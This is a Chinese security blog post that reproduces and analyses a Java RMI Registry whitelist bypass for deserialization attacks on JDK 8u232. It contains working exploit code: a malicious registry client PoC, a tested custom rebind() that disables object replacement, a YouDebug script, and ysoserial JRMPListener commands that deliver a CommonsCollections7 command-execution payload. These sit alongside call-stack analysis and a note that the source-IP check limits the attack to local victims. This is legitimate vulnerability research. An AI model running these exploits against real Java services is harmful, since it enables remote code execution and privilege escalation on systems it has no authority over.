Java反序列化利用中绕过Registry白名单检查
2020-04-24 20:36:45 Author: blog.nsfocus.net(查看原文) 阅读量:586 收藏

阅读: 0

Registry Whitelist Bypass from An Trinh

参[1],第20页,思路是An Trinh原创,但他未给细节。Hans Martin Munch在[2]中补了一半细节。

An Trinh水平较高,2019年Zimbra的两个CVE是他发现的:

CVE-2019-9670(XXE/SSRF)
CVE-2019-6980(反序列化)

不过他一贯风格是不给细节。后来中国人fnmsd提供上面两个CVE的复现细节。

Hans Martin Munch比An Trinh开放,分享过不少有趣的思路,比如用YouDebug搞CVE-2017-3241。

ysoserial.payloads.JRMPClient是设法让受害者扮演”DGC Client”的角色,使之访
问恶意”DGC Server”。受害者反序列化来自后者的恶意Object时有默认过滤器,参看sun.rmi.transport.DGCImpl.checkInput()的实现。

An Trinh的新思路是设法让受害者扮演”RMI Registry Client”的角色,使之访问恶意”RMI Registry Server”。受害者反序列化来自后者的恶意Object时并没有过滤器参与其中,JEP 290未针对这种场景设置默认过滤器。

本文演示环境为8u232。

1) RMIRegistryServer.java

/*

* javac -encoding GBK -g RMIRegistryServer.java

* java RMIRegistryServer 1099

*/

import java.rmi.registry.*;

public class RMIRegistryServer

{

    public static void main ( String[] argv ) throws Exception

    {

        int port    = Integer.parseInt( argv[0] );

        LocateRegistry.createRegistry( port );

        System.in.read();

    }

}

2) EvilRMIRegistryClientWithUnicastRemoteObjectFail.java

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

/*

* javac -encoding GBK -g -XDignore.symbol.file EvilRMIRegistryClientWithUnicastRemoteObjectFail.java

*/

import java.io.*;

import java.lang.reflect.*;

import java.util.Random;

import java.net.Socket;

import java.rmi.Remote;

import java.rmi.registry.*;

import java.rmi.server.UnicastRemoteObject;

import java.rmi.server.RMIServerSocketFactory;

import java.rmi.server.RemoteObjectInvocationHandler;

import java.rmi.server.ObjID;

import sun.rmi.transport.tcp.TCPEndpoint;

import sun.rmi.transport.LiveRef;

import sun.rmi.server.UnicastRef;

public class EvilRMIRegistryClientWithUnicastRemoteObjectFail

{

    public static Object getObject ( String addr, int port ) throws Exception

    {

        int                 i       = new Random().nextInt();

        ObjID               oid     = new ObjID( i );

        TCPEndpoint         te      = new TCPEndpoint( addr, port );

        LiveRef             lr      = new LiveRef( oid, te, false );

        UnicastRef          ur      = new UnicastRef( lr );

        RemoteObjectInvocationHandler

                            roih    = new RemoteObjectInvocationHandler( ur );

        RMIServerSocketFactory

                            ssfProxy

                                    = ( RMIServerSocketFactory )Proxy.newProxyInstance

        (

            RMIServerSocketFactory.class.getClassLoader(),

            new  Class[]

            {

                RMIServerSocketFactory.class,

                Remote.class

            },

            roih

        );

        Constructor<?>      cons    = UnicastRemoteObject.class.getDeclaredConstructor( new Class[0] );

        cons.setAccessible( true );

        UnicastRemoteObject uro     = ( UnicastRemoteObject )cons.newInstance( new Object[0] );

        Field               f_ssf   = UnicastRemoteObject.class.getDeclaredField( "ssf" );

        f_ssf.setAccessible( true );

        f_ssf.set( uro, ssfProxy );

        return( uro );

    }

    public static void main ( String[] argv ) throws Exception

    {

        String      addr    = argv[0];

        int         port    = Integer.parseInt( argv[1] );

        String      newaddr = argv[2];

        int         newport = Integer.parseInt( argv[3] );

        Remote      obj     = ( Remote )getObject( newaddr, newport );

        Registry    r       = LocateRegistry.getRegistry( addr, port );

        r.rebind( "any", obj );

    }

}

启动恶意服务:

java \

-cp ysoserial-0.0.6-SNAPSHOT-all.jar \

ysoserial.exploit.JRMPListener 1099 \

CommonsCollections7 "/bin/touch /tmp/scz_is_here_from_server_3"

启动受害者:

java \

-cp "commons-collections-3.1.jar:." \

RMIRegistryServer 2099

启动攻击者:

java \

EvilRMIRegistryClientWithUnicastRemoteObjectFail 192.168.65.23 2099 \

192.168.65.23 1099

这次攻击达不到预期目的。

2.1) 攻击失败的原因

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl_Stub.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/MarshalOutputStream.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/ObjectTable.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/Target.java

RegistryImpl_Stub.rebind                // 8u232

  ObjectOutputStream.writeObject        // RegistryImpl_Stub:154

    ObjectOutputStream.writeObject0     // ObjectOutputStream:348

      MarshalOutputStream.replaceObject // ObjectOutputStream:144

        if ((obj instanceof Remote) && !(obj instanceof RemoteStub))

                                        // MarshalOutputStream:80

                                        // Remote实例被特殊对待

        target = ObjectTable.getTarget((Remote) obj)

                                        // MarshalOutputStream:81

                                        // 如果调用过UnicastRemoteObject.exportObject()

                                        // 此处返回的target不为null,流程将去83行

        if (target != null)             // MarshalOutputStream:82

        return target.getStub()         // MarshalOutputStream:83

                                        // 若流程至此,不再是返回我们传入的Remote实例

如果调用过UnicastRemoteObject.exportObject(),用ObjectOutputStream.writeObject()序列化输出该UnicastRemoteObject实例时,会触发MarshalOutputStream.replaceObject(),将UnicastRemoteObject实例替换成另一种对象实例,攻击链被破坏。

如果不想发生这种替换,可以利用反射将ObjectOutputStream.enableReplace由true改成false。这是Hans Martin Munch的主意。

2.2) 利用YouDebug起死回生

参[3],YouDebug允许自动化调试执行,设置断点、断点命中后的动作都可以在脚本中提前定义好。

编辑ModifyRebind.ydb如下:

vm.methodEntryBreakpoint( "java.io.ObjectOutputStream", "writeObject" )

{

    if \

    (

        ( obj instanceof com.sun.tools.jdi.ObjectReferenceImpl )

        &&

        ( obj.referenceType().name().equals( "java.rmi.server.UnicastRemoteObject" ) )

    )

    {

        println "scz is here"

        self.enableReplace  = false;

    }

}

脚本意图很直白,拦截ObjectOutputStream.writeObject(),如果obj是UnicastRemoteObject类型,将ObjectOutputStream.enableReplace从true改成false。

启动恶意服务:

java \

-cp ysoserial-0.0.6-SNAPSHOT-all.jar \

ysoserial.exploit.JRMPListener 1099 \

CommonsCollections7 "/bin/touch /tmp/scz_is_here_from_server_3"

启动受害者:

java \

-cp "commons-collections-3.1.jar:." \

RMIRegistryServer 2099

启动攻击者:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \

EvilRMIRegistryClientWithUnicastRemoteObjectFail 192.168.65.23 2099 \

192.168.65.23 1099

java \

-jar youdebug-1.6-SNAPSHOT-jar-with-dependencies.jar \

-socket 192.168.65.23:8005 \

ModifyRebind.ydb

3) 自定义RegistryImpl_Stub.rebind()

Hans Martin Munch提出自定义RegistryImpl_Stub.rebind(),在writeObject()之前利用反射修改ObjectOutputStream.enableReplace。他说把这当成课后作业,没有直接给答案。我给个实测过的PoC:

private static void rebind ( RegistryImpl_Stub r, String $param_String_1, Remote $param_Remote_2 ) throws Exception

{

    StreamRemoteCall    call    = ( StreamRemoteCall )r.getRef().newCall( r, operations, 3, interfaceHash );

    ObjectOutput        out     = call.getOutputStream();

    ObjectOutputStream  oos     = ( ObjectOutputStream )out;

    Field               f       = ObjectOutputStream.class.getDeclaredField( "enableReplace" );

    f.setAccessible( true );

    f.set( oos, false );

    out.writeObject( $param_String_1 );

    out.writeObject( $param_Remote_2 );

    r.getRef().invoke( call );

    r.getRef().done( call );

}

4) 攻击得手后的简化版调用关系

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl_Skel.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/UnicastRef.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/tcp/TCPChannel.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/StreamRemoteCall.java

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

RegistryImpl_Skel.dispatch                                                      // 8u232

                                                                                // 进入rebind()分支

  RegistryImpl.checkAccess("Registry.rebind")                                   // RegistryImpl_Skel:142

                                                                                // 前置检查rebind()源IP,不允许远程绑定,这才是大盾

  ObjectInputStream.readObject                                                  // RegistryImpl_Skel:148

                                                                                // $param_String_1 = (java.lang.String) in.readObject()

                                                                                // 可以直接打这个位置

  ObjectInputStream.readObject                                                  // RegistryImpl_Skel:149

                                                                                // $param_Remote_2 = (java.rmi.Remote) in.readObject()

    UnicastRemoteObject.readObject

      UnicastRemoteObject.reexport                                              // UnicastRemoteObject:235

        UnicastRemoteObject.exportObject                                        // UnicastRemoteObject:268

          UnicastRemoteObject.exportObject                                      // UnicastRemoteObject:346

            UnicastServerRef.exportObject                                       // UnicastRemoteObject:383

              LiveRef.exportObject                                              // UnicastServerRef:237

                TCPEndpoint.exportObject                                        // LiveRef:147

                  TCPTransport.exportObject                                     // TCPEndpoint:411

                    TCPTransport.listen                                         // TCPTransport:254

                      TCPEndpoint.newServerSocket                               // TCPTransport:335

                        $Proxy0.createServerSocket                              // TCPEndpoint:666

                                                                                // 动态代理机制

                          RemoteObjectInvocationHandler.invoke

                            RemoteObjectInvocationHandler.invokeRemoteMethod    // RemoteObjectInvocationHandler:179

                              UnicastRef.invoke                                 // RemoteObjectInvocationHandler:227

                                                                                // invoke(Remote obj, Method method, Object[] params, long opnum)

                                                                                // 这条攻击链上不会遭遇过滤器

                                TCPChannel.newConnection                        // UnicastRef:129

                                                                                // conn = ref.getChannel().newConnection()

                                StreamRemoteCall.executeCall                    // UnicastRef:161

                                                                                // call.executeCall()

                                  ObjectInputStream.readObject                  // StreamRemoteCall:270

                                    Hashtable.readObject                        // ysoserial/CommonsCollections7

                                      Hashtable.reconstitutionPut

                                        LazyMap.get

                                          Runtime.exec

                                UnicastRef.unmarshalValue                       // UnicastRef:174

                                                                                // returnValue = unmarshalValue(rtype, in)

本地打8u232可以得手。”RegistryImpl_Skel:142″有前置源IP检查,远程打8u232无法通过这个检查。

[1]第20页的调用栈栈顶是:

sun.rmi.server.UnicastRef.unmarshalValue()
sun.rmi.transport.tcp.TCPChannel.newConnection()
sun.rmi.server.UnicastRef.invoke()

我觉得这是An Trinh用春秋笔法展示出来的伪栈。TCPChannel.newConnection()跟这条攻击链无关,仅仅是路过。UnicastRef.unmarshalValue()倒是有可能被利用,但上图已经在StreamRemoteCall.executeCall()中得手了。

5) Hans Martin Munch的失策

Hans Martin Munch修改ObjectOutputStream.enableReplace的思路可行,但确实有些失策。如果他认真看过Matthias Kaiser的ysoserial.payloads.JRMPListener,就不会走这条弯路。

如果用Hans Martin Munch的方案,会有如下调用栈回溯:

[1] sun.rmi.transport.ObjectTable.putTarget (ObjectTable.java:171), pc = 0
[2] sun.rmi.transport.Transport.exportObject (Transport.java:106), pc = 6
[3] sun.rmi.transport.tcp.TCPTransport.exportObject (TCPTransport.java:265), pc = 32
[4] sun.rmi.transport.tcp.TCPEndpoint.exportObject (TCPEndpoint.java:411), pc = 5
[5] sun.rmi.transport.LiveRef.exportObject (LiveRef.java:147), pc = 5
[6] sun.rmi.server.UnicastServerRef.exportObject (UnicastServerRef.java:237), pc = 78
[7] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:383), pc = 19
[8] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:320), pc = 9
[9] java.rmi.server.UnicastRemoteObject. (UnicastRemoteObject.java:198), pc = 26
[10] java.rmi.server.UnicastRemoteObject. (UnicastRemoteObject.java:180), pc = 2
[11] sun.reflect.NativeConstructorAccessorImpl.newInstance0 (native method)
[12] sun.reflect.NativeConstructorAccessorImpl.newInstance (NativeConstructorAccessorImpl.java:62), pc = 85
[13] sun.reflect.DelegatingConstructorAccessorImpl.newInstance (DelegatingConstructorAccessorImpl.java:45), pc = 5
[14] java.lang.reflect.Constructor.newInstance (Constructor.java:423), pc = 79

UnicastRemoteObject.exportObject()会触发ObjectTable.putTarget()。

而ObjectOutputStream.writeObject()序列化UnicastRemoteObject实例时会经过如下函数:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/MarshalOutputStream.java

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

/*

* sun.rmi.server.MarshalOutputStream.replaceObject

*/

/**

* Checks for objects that are instances of java.rmi.Remote

* that need to be serialized as proxy objects.

*/

protected final Object replaceObject(Object obj) throws IOException {

    if ((obj instanceof Remote) && !(obj instanceof RemoteStub)) {

/*

* 81行

*/

        Target target = ObjectTable.getTarget((Remote) obj);

        if (target != null) {

/*

* 83行,不再是返回形参obj

*/

            return target.getStub();

        }

    }

    return obj;

}

上述83行处攻击链被破坏,恶意Object不会被送往受害者。

这个新的白名单绕过技术的正确打开方式是像ysoserial.payloads.JRMPListener那样生成UnicastRemoteObject实例,避免在客户端触发UnicastRemoteObject.exportObject(),这样就不会调用ObjectTable.putTarget(),于是”MarshalOutputStream:81″处返回的target为null,这样就不会发生替换。

6) 无论如何绕不过源IP检查

An Trinh的新技术只能用于本机受害者,不能用于远程受害者。假设有本地提权的场景,或可考虑,远程打1099/TCP就算了。

8u232的”RegistryImpl_Skel:142″处代码是:

RegistryImpl.checkAccess("Registry.rebind")

它在检查rebind()的源IP是否是本机。如果不是,流程不会去readObject()。据说
8u141就已经前置源IP检查了。

从防御角度看,条件允许的情况下尽量使用高版本Java吧。

参考资源:

[1] Far Sides of Java Remote Protocols – An Trinh [2019-12-04]

https://www.blackhat.com/eu-19/briefings.html

http://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf

[2] An Trinhs RMI Registry Bypass – Hans Martin Munch [2020-02]

https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/

[3] YouDebug

https://github.com/kohsuke/youdebug


文章来源: http://blog.nsfocus.net/registry-whitelist-bypass-0424/
如有侵权请联系:admin#unsafe.sh